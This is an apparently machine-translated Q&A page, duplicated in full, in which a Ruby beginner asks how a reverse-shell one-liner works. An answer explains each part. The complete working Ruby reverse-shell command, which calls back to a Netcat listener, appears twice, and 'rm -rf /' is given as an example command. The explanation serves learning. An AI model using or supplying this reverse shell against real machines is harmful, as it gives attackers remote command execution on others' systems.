Ruby单线故障?
Ruby one-liner breakdown?
我是 Ruby 的新手,正在尝试更好地理解这种反向 shell 单行代码,旨在连接回 Netcat 侦听器。
有人可以尝试分解命令并解释某些代码的实际作用吗?例如,我知道 "TCPSocket.new" 创建新的 TCP 套接字,但是什么是 "cmd=c.gets"、"IO.popen"、“|io|c.print io.read”等等。还有什么while
循环的目的是什么?
ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
好的,让我们把这个分解一下。
ruby
运行作为 ruby 解释器,您可能知道那部分
-rsocket
相当于 require "socket"
(r
要求)
-e "some string"
运行 some string
作为 ruby 脚本(e
用于执行)
while(cmd=c.gets)
说“当 gets
(获取字符串直到并包括下一个换行符)returns 来自连接 c
的东西时,即当有数据进入时,将其分配给cmd
和..
IO.popen(cmd,'r'){|io|c.print io.read}
.. 运行 cmd
作为 shell 命令,读取输出,然后 print
将其返回到连接 c
.
因此,实际上,通过网络接收命令(如 ls .
或 rm -rf /
),读入,运行,获取输出,然后发回。一直这样做,直到对方停止发送命令。
因为gets
会阻塞并等待下一行进来,这个单行会一直等到连接关闭。
可能不想让其他人通过该连接发送命令,因为它会 运行 他们直接在您的计算机上发送的任何内容,尽管这大概就是您所说的 "reverse shell" 的意思。
我是 Ruby 的新手,正在尝试更好地理解这种反向 shell 单行代码,旨在连接回 Netcat 侦听器。
有人可以尝试分解命令并解释某些代码的实际作用吗?例如,我知道 "TCPSocket.new" 创建新的 TCP 套接字,但是什么是 "cmd=c.gets"、"IO.popen"、“|io|c.print io.read”等等。还有什么while
循环的目的是什么?
ruby -rsocket -e "c=TCPSocket.new('<IP Address>','<Port>');while(cmd=c.gets);IO.popen(cmd,'r'){|io|c.print io.read}end"
好的,让我们把这个分解一下。
ruby
运行作为 ruby 解释器,您可能知道那部分
-rsocket
相当于 require "socket"
(r
要求)
-e "some string"
运行 some string
作为 ruby 脚本(e
用于执行)
while(cmd=c.gets)
说“当 gets
(获取字符串直到并包括下一个换行符)returns 来自连接 c
的东西时,即当有数据进入时,将其分配给cmd
和..
IO.popen(cmd,'r'){|io|c.print io.read}
.. 运行 cmd
作为 shell 命令,读取输出,然后 print
将其返回到连接 c
.
因此,实际上,通过网络接收命令(如 ls .
或 rm -rf /
),读入,运行,获取输出,然后发回。一直这样做,直到对方停止发送命令。
因为gets
会阻塞并等待下一行进来,这个单行会一直等到连接关闭。
可能不想让其他人通过该连接发送命令,因为它会 运行 他们直接在您的计算机上发送的任何内容,尽管这大概就是您所说的 "reverse shell" 的意思。